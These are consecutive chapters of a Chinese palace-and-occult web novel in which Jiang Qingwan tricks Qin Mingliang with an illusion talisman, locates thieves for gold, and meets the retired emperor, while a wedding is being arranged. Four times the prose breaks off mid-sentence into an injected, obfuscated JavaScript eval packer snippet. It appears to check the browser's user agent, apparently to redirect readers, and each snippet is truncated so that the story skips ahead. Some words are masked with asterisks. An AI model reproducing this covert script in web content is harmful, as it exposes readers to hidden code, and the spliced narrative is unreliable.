“我们都是同窗,知道你看不起我才会处处针对我,算了,本世子心胸大,不与你计较。” 此举瞬间引得众人称赞。 苏巍川也欣慰的拍了拍他的肩膀。 “不愧是老侯爷的儿子,识大体,有胸襟。” 他说完又看向众人。 “诸位,今日宴席到此结束,本王就不送了,夏大人,你和令郎留一下。” 夏世辉此刻只觉天都塌了。 等着众人全都散去,噗通一声跪在了地上。 “老王爷,犬子罪不可恕,求您看在他是夏家独苗的份上,饶他一命,我愿肝脑涂地,为王爷马首是瞻。” 苏巍川却并没有回应他,而是走到了夏宇面前,微微俯下身。 “你刚刚说,不知道为何出现在了府外,也不记得这期间发生了什么,是吗?” 夏宇不明所以,胆怯的抬起头。 “王爷,我说的都是真的,我没有说谎。” 夏世辉气的要死。 “都到了这个时候,你还敢嘴硬,看我不打死你。” 他作势要动手,却被苏巍川拦下。 “我信他。” 夏世辉父子齐齐看着苏巍川,皆是一脸震惊。 “王爷,您……您信?” 夏世辉呆呆发问。 说实话,他都不信。 夏宇却激动起来。 “王爷,我说的句句属实。虽我未曾看到郭浩那厮点火烧祠堂,但是我就是觉得是他,您信我,立刻派兵将那厮给擒来知罪。” 他话音刚落,就被夏世辉一巴掌呼在头上。 他为官多年,脑子自然比夏宇转得快。 若是王爷想拿人,刚刚就不可能让郭浩走。 他拢了拢袖袍道,“王爷,下官以为,小侯爷性情顽劣,不知天高地厚,或许真的能做出此事,但目的为何,实难猜想,而且眼下证据不足。既然王爷愿意给犬子机会,信他所言,不如就让他将此事调查清楚,” 说着跪俯在地。 苏巍川直起身,眸色冷厉。 “老侯爷与本王曾同沐战场,无凭无据,本王不会伤及同僚。” 夏世辉心领神会。 “下官明白。” 说着拽着还一头雾水的夏宇匆匆走了。 府门外车马已经散去,二人上了车,夏世辉才道,“你明日去太学院后主动去找郭浩赔礼道歉。” 夏宇登时急红了脸。 “爹,王爷都信我,你为什么还不信我,我不去道歉。” “啪!” 夏世辉气的一巴掌抽在他胳膊上。 “你懂个屁!王爷有心去查郭浩,针对的定然是郭家。你真以为王爷只是丢了九龙杯吗?” 夏宇也不是傻子。 此刻听出些意味,揉着胳膊道,“爹,你的意思是让我借着赔礼道歉的机会,接近郭浩?可我要调查什么?总不能直接问他有没有放火吧?” “愚钝!” 夏世辉恨铁不成钢的点在他额头。 “你要摆好姿态正常与之交往,将他日常发生的事情记录好,交于为父,至于其他,你无需多问。” …… 另一边,苏巍川带着老仆来到了夏宇说过的被袭击的后巷。 空气中似乎还残留着黄符焚烧过的烟火味,很淡。 “王爷,真的有!” 老仆捧着混杂着泥土的符灰举到苏巍川面前。 苏巍川用指尖轻轻碾了碾符灰。 “的确是玄门道人的手段。时隔多年,黑鸦竟然再次出现,还直接闯进我的佛心堂盗走了大隋皇陵的地图,真是有趣。” 老仆心下诧异。 “王爷,若夏公子所言不虚,那遁走的盗贼和黑鸦都跟威远候府有关?” 苏巍川将手中符灰丢掉。 “有没有关系很快就会知晓,回府吧。” …… 后院内,老王妃受到了惊吓,气息不稳,歪在软榻上却迟迟不肯休息。 外面有小厮低头进来。 “老夫人,事情处理完了,王爷已经回了佛心堂,传话让您尽快修缮好祠堂。” 老王妃扶着近身伺候的嬷嬷直起身,有些急切道,“还说了其他什么话吗?” 小厮摇头。 “没有了。” 老王妃的脸上闪过一抹失望,整个人好像都老了几岁。 发生这么大的事情,府兵和暗卫全都去守佛心堂了,他却连来看看她都不肯。 二十年了。 那个女人死了二十年了! 他为她建了佛心堂,神神秘秘守了二十年,到底眼里还有没有她这个结发妻子! “咳咳咳咳!” 她急火攻心,一口腥甜涌上喉咙。 苏容安等人惊呼出声,齐齐上前,却被老王妃抬手制止。 “我乏了,都散了吧。” 众人只得行礼离开。 出了院子,苏容安看向一旁的程氏,笑的鄙夷不屑。 “二妹,这些年你这脸皮是越发的厚了,若我大房出了这种丢人的事,早就找块豆腐撞死了。” 苏玉兰此刻像是一只斗败的公鸡,垂头耷拉脸的,哪还有之前的半点盛气凌人。 程氏怒其不争,拉着她就走。 苏青禾在后面娇声提醒。 “兰儿,等我和二皇子成婚的时候,你一定带着你夫君和你儿子来喝杯喜酒。” 苏玉兰被刺激的整个人都快疯了。 第103章 绣嫁衣 苏玉兰冲出苏府一眼看到守在马车边的秦明朗,伸手去掐他脖子。 “我怎么就选了你,我怎么就选了你!” 秦明朗也不躲,任由她掐的只咳嗽。 程氏上前将人拽开。 “兰儿,你还嫌今日丢的脸不够吗?安心回家,既然明朗已经入了苏家的门,将来的事,你祖父自有安排。” 苏玉兰失魂落魄的推开她。 踉踉跄跄的往前走。 “我才不要回秦家,我要回我的县主府。” 秦明朗眸光一闪,立刻躬身行礼。 “岳父岳母,小婿这几日左右是不能上值的,定会好好在县主府内守着她,任她打骂,哄到她消气为止,请二老放心。” 秦润也想去住县主府,却被秦明朗塞进了秦府的马车。 …… 江清婉被郭浩送回王府后,刚想推门进去,院门就从里面被打开。 青穗一身夜行衣站在门内,冷冷地看着她。 片刻后直接跪在地上,从靴子里抽出匕首递了过来。 “出暗卫营的暗卫,没有回去的可能,若小姐不愿留我在身边,直说便是,一把匕首便可了结我性命免去一切麻烦,又何必编谎话诓骗于我。” 江清婉此刻困乏的厉害。 刚刚在车上碍于郭浩在没法睡,这会儿眼皮都睁不开了。 她抬手去扶青穗,却拽不动,只得道,“我今晚去了长安区的苏家,你应知道苏家在京城的地位,不愿你跟着,是不想牵连王府,并非故意骗你。” 青穗皱眉,感觉到抓着自己手腕的那只手都在发虚的轻颤。 她立刻起身扶住江清婉摇摇欲坠的身体。 “你受伤了?” “没有,就是有点累了,扶我回房吧。” 青穗并不懂得怎么照顾人,忙去叫了莲儿过来伺候,自己杵在角落里一直盯着看。 见江清婉的确没有受外伤这才松了口气。 简单洗漱之后,江清婉就沉沉的睡了过去。 这一觉睡到了第二天的下午。 精神恢复过来,她饿的不行,叫来青穗让她去找莲儿那吃的进来,自己则靠在床边想事情。 她原本以为,苏巍川就是黑乌鸦背后的人。 可照寿宴那天的情景来看,却并不是。 之所以青穗看到黑乌鸦去了苏府,应该就是为了苏巍川密室里的东西。 那秦明朗为什么也会恰好出现在书房,难道跟黑乌鸦是一伙的? 他们到底在找什么? 她又想起了那个怪异的双龙头风水局沙盘,心里隐隐有些不安。 青穗很快端着两个馒头一碟小炒进来。 江清婉饿的厉害,当下起身,吃了几口忽地顿了顿。 “青穗,你去梳妆台取个帕子,再将笔墨拿来。” 青穗不明所以,却听话照做。 江清婉将筷子放下,狼毫笔沾了墨在粉白的帕子上写了一句话。 “找到秦明朗,将这东西偷偷给他,不要让第二个人知道。” 青穗点头,下意识收进怀里就要行动,走出两步又折返回来。 “你又要去哪里?” 江清婉咬着半截馒头一脸懵。 青穗冷着脸有些气恼,“我的任务是贴身保护你,别再用这种拙劣的手段把我支开。” 江清婉无语,咽下嘴里的饭菜道,“我没把你支开,快去做事,等你回来还得陪我赴约。” 见她神色不像有假。 青穗犹豫片刻再次强调。 “这是我最后一次信你,莫要再诓骗我。” 江清婉摆摆小手表示知道。 青穗无奈,转身匆匆离开。 她刚走,莲儿和李斗就回来了。 手里提着大包小包,显然买了很多东西。 “小姐你醒了。” 莲儿让李斗将东西都放在江清婉的房间里,看了眼桌上的饭菜不由咦了一声。 “奴婢在土瓮里留了包子温着,您怎么吃馒头?” 说完她忽地拍了下头。 “怪奴婢没跟青穗姑娘说,害的小姐自己炒菜,是奴婢的错。” 江清婉怔住。 看着快吃完的那碟菜,刚刚饿的太厉害没品出不同,这会儿才回味出,的确不是莲儿的手艺。 她不由笑了下。 “是青穗炒的。你都买了什么?” 莲儿立刻被转移了注意力,开心的将所有东西全部打开。 “小姐,虽然王府不缺别的,但是咱们也不能什么都不准备,鸳鸯枕头,嫁衣,绣鞋,还有男子的束腰,这些还是要小姐自己亲手做才能讨个彩头。” 江清婉盯着那一堆基本全是大红的材料皱了皱眉。 “谁要出嫁?” 莲儿捂嘴偷笑。 “当然是小姐你啊,奴婢让李斗去偷偷看过,王府那边可布置了好多东西。不过王爷有军务不在京中,想必过两日就会送聘书过来。” 那日在云家祖坟处,墨云寒亲口承认了二人的关系,莲儿再无半点怀疑,一心只想着到底该准备些什么东西才好。 “对了小姐,玉器店金饰店奴婢都去看过了,瞧见了不少顶顶好的款式,您得空去选一选。” 她喋喋不休的安排着事情。 江清婉总觉得这事有些乱,若当真要办婚事,墨云寒理应跟她说一声,就算他忙于政务没时间,宋玉书也理应来一趟。 “莲儿,你去前院请宋夫人过来,说我请她品茶。” 莲儿连连摆手。 “那怎么行啊,以前还好,现如今事情到了这个节骨眼上,按照大周礼制,男方没有三媒六聘亲自上门,您是不能去婆家的。” 她想了想又道,“虽说现在只是前后院,可规矩就是规矩。成婚是大事,还是莫要坏了规矩,事事求个吉祥为好。” 江清婉被她这紧张的样子整的异常无语。 莲儿见她吃完,手脚麻利的将碗碟收拾好,拿了一堆各色的丝线要她绣鸳鸯。 这时院门却被人从外面推开。 云筱然带着李嬷嬷和几个丫鬟小厮走了进来。 李斗立刻挡在前面。 莲儿也急急忙忙跑了出来,拽了下李斗防止他打人,这才冲着云筱然福了福身。 “王爷有令,未的允许不准任何人进后院打扰我家小姐,县主大人,您还是快快请回吧,莫要惹了王爷不快。” 云筱然这几日精神养的极好,又恰逢喜事,心愿即将达成,更是面若桃花般娇俏。 她看着院子里盛开的百花,笑盈盈的冲着依在门边的江清婉道,“江姐姐,你莫要误会,我不是来扰你清净的,我是来搬几盆花用用。” 江清婉皱眉。 莲儿急道,“县主大人,这些花都是王爷府的,若没有王爷同意,您不能搬。” 云筱然的心情极好,看都没看莲儿,目光依旧落在江清婉身上。 “都怪那天我在花房没有选到合适的花,可眼下实在着急要用,太后娘娘便准许我来这里搬几盆先用着,懿旨已经宣到了舅母那边,江姐姐若是不信尽可派人去问问。” 江清婉心里忽然生出一种感觉,前院的一切,是给云筱然准备的。 可细看之下,云筱然身上却又没有缔结连理的喜气。 “既然宋夫人同意,那你自便。” 她说完转身回房。 云筱然忽又道,“江姐姐,明日,我请你吃酒,你可一定不要离开王府。” 第104章 约见 云筱然离开后,莲儿很是不解。 “小姐,她刚刚说那话什么意思啊?是不是又要害您。” 江清婉看了眼桌上的红布。 心里刚刚一瞬间的不适已经消散,她忽然觉得很有趣。 世间情爱到底为何? 如傅安安的原谅, 如秦明朗的纠缠不甘, 如云筱然的执拗疯狂, 还有,死去多年却又执念不散的云杳杳。 好似情爱有万千种,却又似乎没有一种,能纯净的只剩情爱。 换成墨云寒, 他又会如何选? “小姐,我们不管她,继续绣吧。” 江清婉在一堆布料中选了个暗红的缎面。 摸了摸质感,又从那堆丝线里选了一扎明黄颜色的绣线递给莲儿。 “我记得你绣工不错,给我绣个荷包,款式简单些就好。” 莲儿瞧了眼她腰间常年系上的那几个荷包。 从她跟在江清婉身边,那些荷包就在了。 边缘和上面的纹绣已经有些磨损。 “小姐要替换掉你那些荷包吗?” 江清婉下意识低头。 手指摸向荷包,轻轻碾了碾。 这几个全都是大师兄给她做的,上面是师父给她设计的符箓。 她很轻很轻的呼出一口气,抬眸道, “不是,送人的,你做吧,做快些。” 说完转身去拿了纸笔画了一张符箓放在了莲儿面前。 “将这个绣在荷包的内层。” 莲儿这段时日见过江清婉画过不少这怪异的符,倒也没多想。 …… 县主府内, 秦明朗被当下人一样指使了两天,这会儿正在后厨给苏玉兰炖燕窝。 回京以后的日子,他算是看明白了。 一个人只有自己有本事了,抓到了机会,攀上了高峰,才能真正的出人头地。 苏家的权势,对他只能是锦上添花,绝不可能雪中送炭。 他一定要抓住太后这条线。 正出神,忽觉身后有杀气,破空声几乎瞬间袭来。 他侧身避开,铮的一声。 一根筷子插着一块帕子刺进了他刚刚所占的地面。 他没有出声,迅速追出后厨环顾四周却没发现任何异常。 他以为是神秘人有事联系他。 立刻退回厨房将地上插着的帕子拽了下来,展开一看,脸色顿时的大喜。 又反复看了好几遍,忽地将帕子放到鼻尖深深的嗅了嗅。 目露痴迷。 他就知道。 江清婉根本放不下他。 青穗回到王府后院,莲儿的荷包也已经做好。 江清婉检查无误后,便带着青穗出了门。 莲儿急的在后面跳脚。 “小姐,嫁衣奴婢可以帮忙,鸳鸯枕您一定要亲手做啊。” 青穗闻言皱了皱眉,欲言又止。 她曾为王府暗卫,前院的事,的确瞒的很紧。 宋玉书谁都不说,只让准备东西。 王爷又外出未归,府中内务这些琐事,自不会往他耳朵里传。 但青穗毕竟是女子,更为敏锐。 她昨日坐在屋脊上,看到前院的风雅筑挂了红灯笼。 依照大周规制,就算是侧妃,也不可能住在妾室通房规格的风雅筑。 而大红布料,只有正妃才有资格用,莲儿准备的那些,都已经逾矩。 “怎么,没找到人?” 江清婉注意到她神情异常,侧头问了句。 青穗忙回神。 “找到了,帕子已经送到他手里,茶楼的包间也订好了。” “那就好,走吧,咱们去茶楼。” 临时起意,青穗并没准备马车。 好在茶楼离长安区不远,江清婉刚刚吃过饭,倒也愿意走一走。 从后院巷子出长安区,最近的会经过王府正门。 鬼使神差的,青穗指了另一个方向。 “小姐走这边吧,这边人少。” 江清婉也未多想。 两个人出了长安区,刚穿过一条长街,忽听一声娇喝。 “敢骗老娘,找死!” 两道人影自屋脊之上飞掠而过。 速度太快,江清婉并没有看到是谁。 只是那个声音,莫名有些熟悉。 好像在什么地方听到过。 走了不到一炷香的时间,江清婉在订好的茶楼前的巷子停下。 “青穗,左手给我。” 青穗不解,却乖乖照做。 江清婉划破指尖在她掌心迅速画了一道金色的符箓。 光芒一闪即逝,鲜血如朱砂般凝固在皮肤上。 醒目诡异的纹路透着一种神秘的力量。 青穗感觉到一股很奇特的凉意在掌心蔓延。 她不由想起那根会翩然起飞的黑羽毛。 “小姐,这东西有什么神通?” 江清婉用帕子擦了擦指尖,勾了勾手让她附耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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术法对于门外汉来说,都蒙着神秘诡谲的面纱。 一旦被提及,就会生出无数种怀疑的恐惧,并会不断在心中蔓延扩大。 秦明朗也不例外。 第105章 幻境 他亲眼见识过老树符水的能力,也见识过乌鸦幻化人形的神秘人, 这种怀疑就更添了几分惊悚之感。 他下意识摸了摸身上。 “有……有什么东西不好?” 江清婉煞有介事的摇了摇头。 “我看不出,但它能要了你的命。你虽负了我,可我们毕竟有过夫妻之缘,我能做的也就这么多了。” 她伸手去拉门。 这时一股冷风骤然袭来 紧跟着想追问清楚的秦明朗也察觉到了,心头一紧,下意识转头。 就看到熟悉的身影不知何时出现在厢房内,黑色的帷帽几乎垂到地上,依旧看不到样貌。 他心里慌得厉害。 江清婉却指着黑影惊呼出声。 “是他!” 秦明朗浑身发毛。 “你认识?” 江清婉急的瞪他。 “我岂会认识,应该是你认识吧。你身上不好的东西就源自于他,我能看得见。” 秦明朗心中的怀疑瞬间得到印证,他心里突突直跳。 神秘人忽地抬手,一只赤眼黑色乌鸦从掌中飞出,嘶哑着冲了过来。 秦明朗只觉脑袋一疼,整个身体跟着晃了晃。 下一刻熟悉的粗哑声音就冷冷响起。 “她必须死。我们之间的事情不能被第二个人知道!” “啊!” 身后传来江清婉的惨叫声,似乎她的手拽住了他的衣襟。 “救我。” 混乱的画面和声音,秦明朗整个神魂都在动荡。 他紧绷着身体下意识开口。 “你别杀她。她什么都不知道。” 神秘人骤然袭到他眼前,手从他耳边伸到后方。 “咔嚓” 是脖子被捏碎的声音。 清晰的传进他耳朵里,秦明朗浑身僵硬,后背一阵又一阵发凉。 整个人却似被定住,根本动弹不懂。 无尽的恐惧袭来,更多的是一种难以纾解的愤怒。 他似乎看到了娇媚的江清婉脖子扭曲的尸体。 而下一刻,尸体的脸便成了他的。 神秘人的声音还在继续。 “我们的事,不能让任何人知道,所有知情人,都得死。你要舍不得,那死的就是你!” 秦明朗死死攥着双手。 眼里却流出泪来。 嘴里不停的解释着, “我没有告诉她那个计划,我什么都没说。” 他耳边一遍又一遍响起重复的如鬼魅一般的话。 “她不死,死的就是你!” “她不死,死的就是你!” …… 秦明朗的眼睛渐渐变得赤红。 他不能死。 他还有大好的前程。 只要将权力握在手中,将来还会有第二个第三个江清婉。 他整个变得疯魔,忽然胳膊上传来一阵刺疼。 视线一晃,他惊愕的发现自己正掐着江清婉的脖子发力。 掌心的温热和挣扎让他意识到江清婉并没有死,吓得赶紧松开。 江清婉举着带血的簪子大口的喘着气。 “你刚刚入了幻境!” “什么?” 秦明朗此刻神志混乱,白着脸往后腿了两步,连胳膊上的伤都顾不得,只惊慌的四处查看。 那个神秘人早已不在。 江清婉将簪子丢在地上,捂着脖子依旧难掩害怕。 “秦明朗,幻境源自心魔,皆因你沾染了不好的东西,你好自为之吧。” 说完她拉开门匆匆走了。 这一次秦明朗没有追。 他还沉浸在刚刚幻境带来的惊惧之中。 茶楼后巷停着的马车内, 青穗已经脱掉了长长的黑色帷帽,看着江清婉脖子上醒目的掐痕,皱了皱眉,从怀里摸出金疮药递了过去。 “非要用这种法子吗?抓起来狠狠拷打一顿什么问不出来。” 江清婉看不清伤的具体位置。 微微扬起小脸,将金疮药又递了回去。 “你帮我涂。” 青穗看了看自己带着茧子的手,又看了看江清婉细滑如羊脂白玉的肌肤。 没好气的低语了一句。 “疼了别怪我。” 江清婉笑了下,没理这句,却是回答了她上一个问题。 “抓起来打一顿倒也不是不行,可蛇惊了,我还怎么抓?” 青穗不解。 “你让我穿着那身衣服出现在包间内,并朝着秦明朗隔空挥出一掌,他就忽然疯了一样,到底是怎么回事?” 将人拉入幻境,需要有一个实物做引子。 江清婉让青穗模仿暗渠中操纵黑乌鸦之人的形象,若秦明朗背后真是此人,他必入幻境,若不是,他一定会攻击青穗。 事实证明,秦明朗的确和此人在密谋什么。 今日这一出戏,她要的不仅仅是试探,还有在秦明朗心里种下怀疑的种子。 鹬蚌相争,她才更有机会挖出幕后的人,找到“镇妖”的真相。 “嘶,有点疼。” 她娇娇的皱了皱眉,本就漂亮的桃花眼蒙了水雾,盈盈的,波光潋滟般动人。 饶是青穗是个女子,对视的那一刻,心跳竟也控制不住加快。 真是个会勾人的妖精。 她红着脸将药膏丢给江清婉。 “我手粗,劲大,说了会疼。” 江清婉刚要说话,青穗忽然整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“需要我帮你包扎吗?” 苏柳儿觉得这女人当真是有些不寻常。 淮楼那次初见,她并没有什么好印象,却也记得面对郭浩那种混不吝的权贵公子,这女人没有半点惊慌。 即便是最后要追去画舫,也不见谄媚之色。 今日遇事,更是不慌不忙。 她拿起金疮药往伤口上涂抹,疼的脸都白了,却死咬着牙一声不吭。 看的江清婉都觉得头皮发麻。 这得多疼。 随意做了简单包扎,苏柳儿抬头看向江清婉。 “你就不怕我**灭口摸了你的脖子?这个距离,就算外面驾车的小丫头武功不错,也没有我快。” 江清婉将打开的金疮药重新封好。 随后从荷包里摸出一道空白符纸,简单刻画之后忽地伸手贴在了苏柳儿还未来得及放下衣衫遮挡的伤口上。 第106章 百两黄金 突如其来的动作,惊得苏柳儿差点叫出来,凶狠的一把攥住了她的手腕。 “你想干什么?” “帮你止疼。” 江清婉任由她握着,眸色纯净。 “顺便帮你清一清你伤口上的死气,就当还你那日在淮楼帮我解围的人情。” 苏柳儿这才发现,伤口竟真的不疼了。 她松开手狐疑的低头查看,只见那处并没有黄色的符纸。 也不知那符纸去了何处。 她惊愕抬头。 “你懂术法?” 江清婉点点头。 “懂点皮**,伤你的武器应该是从**墓里挖出来的,死气入体,对你的气运会有影响。” 苏柳儿听得新奇。 “影响了会如何?” 江清婉想了想。 “可能会让淮楼赔钱。” 苏柳儿越发来了兴致。 “你还有什么别的本事?能寻宝吗?” 江清婉忽地想起之前去茶楼的路上听到的那个女声,联系到此刻的苏柳儿,约莫猜到了一些。 淮楼里常开竞宝大会。 有人拿着白花花的银子进去找宝贝,自然也有人偷偷花重金请人寻宝。 要维系淮楼的繁盛,宝物绝不能少,能让苏柳儿亲自出动的,定然不会是凡物。 而伤她的人用的兵器来自**墓。 或许这宝贝,也来自于墓中。 “挖坟掘墓这种事损阴德,我不接。” 苏柳儿眸光都亮了起来。 “你还真是有点本事。好,那我换个方式,寻人,我要把这群敢骗我的王八蛋一窝端了。你若是能帮我找到他们的老巢,我给你一百两黄金。” 江清婉眸子亮了亮。 金子,总归是比银子更有吸引力。 这桩买卖倒是可以聊一聊。 淮楼的后院厢房内, 苏柳儿衣衫半解,曼妙的身姿,妩媚的半躺在贵妃椅上。 一百两黄金摆在江清婉面前。 橙黄的小金条,很是好看。 江清婉颇为满意,摆手让青穗拿去车上,随后开始起卦。 “有没有那些人身上的东西,任何东西都行。” 苏柳儿想了想,指了指丢在一旁染血的铁针。 “他们用的暗器,可以吗?” 江清婉用清水洗过之后,将四根铁针依次放在桌上,四道符纸,震四方,起卦以后,她又从荷包里拿出一个柑橘大小的小罗盘。 其上纹路复杂,色泽如浸染了无数鲜血一般呈现黑褐色。 随着卦象的改变,罗盘上的针在不停的摆动。 江清婉拿起旁边的纸笔开始写。 罗盘寻人,有距离限制。 和血脉寻骨不同。 但更为详尽。 只要在距离范围以内,再对比京城地图,就能找的大差不差。 但有一点,不能受灵力干扰。 片刻后,江清婉结束卜卦,拿着手里写下的方位对比京城的地图,很快用指尖点了个位置。 “暗器之人,在此处。你若想找到他们的老巢,单单只有这一个人的暗器不行,最好再抓一人取到常用之物,两者路线交叉,方可寻到他们常驻的位置。” 苏柳儿已经来到她身边。 看着她点出的位置,缓缓勾起冷笑。 “那就先抓这一只。” 要不是惨遭暗算,她也不会败的这么狼狈。 “今日多谢江娘子,若有需要,我再派人去请你,价钱可以另算。” 江清婉将罗盘收好。 “放心,金子我不白收,只要你拿到我要的东西,地方我一定给你找到。” 她说完微微颔首转身往外走。 苏柳儿盯着她的背影瞧,直到人消失在门口才缓缓收回。 她似乎有点理解,墨云寒为何对江清婉有所不同。 自那日淮楼一见,她好奇打听过。 一个被人撵出家的下堂妇,又没有显赫的母家维护,竟可以活的这般自在随性,若非有大能,又岂能做到。 今日再见,倒真是让人刮目相看。 马车从淮楼后巷出来,刚往左边拐,江清婉就听见了钟大夫的声音,似是在跟人争执。 “你有银子吗你就进?你都不知道这里是干什么的,你赶紧跟我走。” 另一道声音耍着赖。 “我就要进,京城还有我不能进的地方。你当了那么多年神医,怎么那么穷,我不管,你去弄银子,今晚我必须进去。” 钟大夫气的脸红脖子粗。 “淮楼随便一件宝贝都要上千两,你杀了我我也没有!” 江清婉示意青穗将马车停过去,掀开侧边的布帘单手搭在窗边淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“江娘子,何家一事,我还未曾道谢,今日偶遇,老朽请你吃饭,就在前面的福园酒楼,如何?” 对于钟元,既是长者,又是善人。 江清婉不好拒绝。 她又看了眼那位气度非凡的老者。 想了想点了点头。 “那就让钟大夫破费了。” 长者相邀,岂有她坐马车让人走着的道理。 江清婉放下布帘用帕子改成丝巾系在脖子上遮住了掐痕,这才扶着青穗的手下了马车,陪着两人一起步行去了酒楼。 第107章 旧事 福园酒楼内, 钟元本想包个厢房说话。 可没料到要五十两。 他的回春堂本就是多救治普通百姓,盈利不多,刚刚又陪着太上皇逛了一圈。 许是在皇宫憋的太久,这次太上皇出门愣是一个人都不带。 不带人也就算了,还不带银子。 不带银子还见什么买什么。 钟元花钱花的肉疼,却又半点办法都没有。 将点的唯一一份肉菜放在了江清婉面前,而太上皇面前全是青菜。 绿油油的看的太上皇直瞪眼。 “老子又不是牛,我不吃这个,为什么没有酒,小二,上最好的酒。” 钟元根本拦不住。 “太……老爷子,您现在的身体,吃不了荤腥,更不能饮酒。” 太上皇瞥他一眼。 “我不喝酒,也不吃肉,能多活几天?” 一句话将钟元所有的劝说全部噎了回去。 江清婉倒是挺欣赏。 能将生死看淡的人不多。 在皇室中就更少。 否则也不会出现那么多皇帝密谋寻找长生之法的荒诞之事。 小二很快送来最好的梨花酿。 钟元急的想退掉。 江清婉却径直打开了塞子,亲自给太上皇倒了一碗。 “钟大夫,人活一世,最难得的便是自在从心,这顿我请。” “小二,加一份烤乳鸽,一份清江鱼,一份辣炒黄鳝,一份西芹河蟹,再加一份冬瓜盅。” 小二开心的应声离开。 太上皇抿了口酒,贪婪的在唇齿之间回味。 片刻后睁开双眸,再次打量起江清婉。 “你当真不会相面?” 江清婉笑道,“若有银子赚,我也可以会,相面卜卦,信者信,不信者,便也没什么可信。” 太上皇听得愣了愣。 这不是随便说骗人吗? 他的手指摩挲着酒碗,眼底旋着复杂晦暗,声音幽幽,更像是自言自语。 “我曾见过一个很厉害的天师,她一眼便能看穿人心,读懂你心中所想,分毫不差。” 江清婉生出几分好奇。 刚要问问人在何处,老者的眸子忽地抬起直直看了过来。 “这样厉害的人,也会算不出自己的吉凶吗?” 江清婉的心头莫名颤了颤。 她能清晰的感觉到对方的悲伤,还夹杂着愤怒。 她沉声道,“卜卦着,不算自己,这是规矩,一旦去算自己的吉凶,命数会遭反噬而大改,也就是说,算了也是白算。” 老者依旧怔怔的盯着她。 仿佛想将她看穿一般。 “你听过……活人化妖吗?” “砰!” 钟元手里的酒碗没抓好滚落到了地上。 他慌忙弯腰去捡。 太上皇回神,敛下眸子端起酒碗仰头喝干。 却又因为气息不稳开始咳嗽,一时间停都停不下来。 捂着嘴巴的手背上都染了些血。 钟元心急如焚,立刻伸手搭脉,却被太上皇避开。 他急的跺脚,眼眶都是红的。 “我说了您不能喝酒不能喝酒!” 江清婉却在这时,抬手又倒了一杯酒递了过去。 “顺顺!” “江娘子。”钟元急声阻止。 太上皇一口血卡在嗓子里,难受的紧,没理会钟元伸手接过,咕咚咕咚喝了下去。 酒如肺腑,胸口滞闷疼痛的感觉竟神奇般消散了。 仿佛有一缕冰泉自心尖散开,满眼四肢。 这种通体舒爽的感觉,他只在慕容嫣嫣那里感受过。 带着几分期待和慌张,他猛地抬头看向江清婉。 “你加了什么?” 钟元诧异,趁着空档立刻诊脉,几个呼吸后收回手,撩开衣袍直接跪在了江清婉面前。 “江娘子,老朽求您救治老爷子。” 太上皇沉寂许久的心,也跟着狂跳起来。 “你真的能治我的病?” 他早就油尽灯枯,药石无依。 只是心有执念仍放不下。 他没有长生不老的心,可他想再找找,再寻寻,或许那人,真的还能回来。 不都说妖能活上千岁吗? 江清婉刚刚递过去的酒,加了一丝灵力。 只不过能让对方好受些,并不能治病。 若是她大师兄在,或许还有机会。 当然,若是非要强行续命,她也能做到。 可这种逆天之举,反噬极重,她怕是要丢掉半条命。 她不会为一个陌生人这么做。 “抱歉,我治不了。” 她不愿受钟元的礼,起身换了个位置。 “钟大夫您起来吧。” 钟元不死心。 “我刚刚诊过脉,老爷子的脉象强劲了不少,我用了好多方子都没有做到,你一定有法子的,只要你说,无论什么条件我都答应。” 太上皇却已经从刚刚的激动重平复了下来。 “钟元,起来吧。人的寿数不可改,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江清婉轻轻摇了摇头。 并未多想“嫣嫣”是谁。 她和青穗一起去了趟钱庄,将黄金存上,这才折返回王府。 下了马车,却没着急推门进去。 “青穗,这几日你辛苦些,去盯着秦明朗,不管他做了什么见了什么人或者说了什么话,你只要看着记着就行,不要靠近,也不要阻止。每日清晨汇报给我,为期七天。” 青穗不解。 “为什么是七天?” 江清婉道,“因为那个符,只有七天的效用。” 今天的幻境,是她留在秦明朗心里的饵。 恐惧和怀疑一定会催促他再去见黑鸦的主人。 这一次,她要好好会会那人。 第108章 逼婚 早朝之后,又过了好一会儿,墨云寒才脸色凝重的从皇宫出来。 候在外面的夜七立刻迎了上去。 “王爷,皇上怎么说?要发兵吗?” 墨云寒摇摇头。 “先回府吧。” 夜七急道,“还要等啊?万一真的闯进了京城,这事情可就麻烦了。” 他们去调查金钩弯刀的事情。 却查到了大隋余孽的踪影。 依照规模,绝对百人以上。 再加上新型机关术的加持,若暗藏行踪潜入京城,后果不堪设想。 墨云寒翻身上马。 “让人尽量盯,有消息再报。” 夜七也紧跟着上马。 “皇上怎么想的啊,就算不确定是不是大隋余孽,非兵将却私造机甲兵器已触犯律法,为何不出兵?” 墨云寒是连夜回京的,赶在早朝入了宫。 可没想到,一上朝,就有不少言官开始攻击他执掌的军政问题。 字字珠玑,直指太上皇手里一直没交出来的虎符。 句句为了大周的稳定。 为了朝局稳固。 自从那日在巡防营内,墨云昭没有晋封王昊开始,墨云寒就知道,他心中那个皇兄,早就对他生出芥蒂。 “夜七,你不必跟我回府,去找京城最好的裁缝绣娘和最好的金匠,来王府,为未来的九王妃打造婚服头饰。” “啊?” 话题转换太快,夜七一时没反应过来。 墨云寒却已经策马而去。 此刻九王府门口,一支长长的的送亲队伍在长街上一字排开,声势浩大。 锣鼓声,鞭炮声,不绝于耳。 十八担嫁妆之前,是龙凤呈祥的大红嫁衣,被人形木架子撑着,绣工奇绝,其上交织的金线和串上的翠珠在阳光下熠熠生辉。 嫁衣之前,是一个圆形的红色托盘,其上是更为奢华的凤冠。 硕大的夜明珠在凤冠最顶上,世所罕见。 这边热闹吸引了不少人。 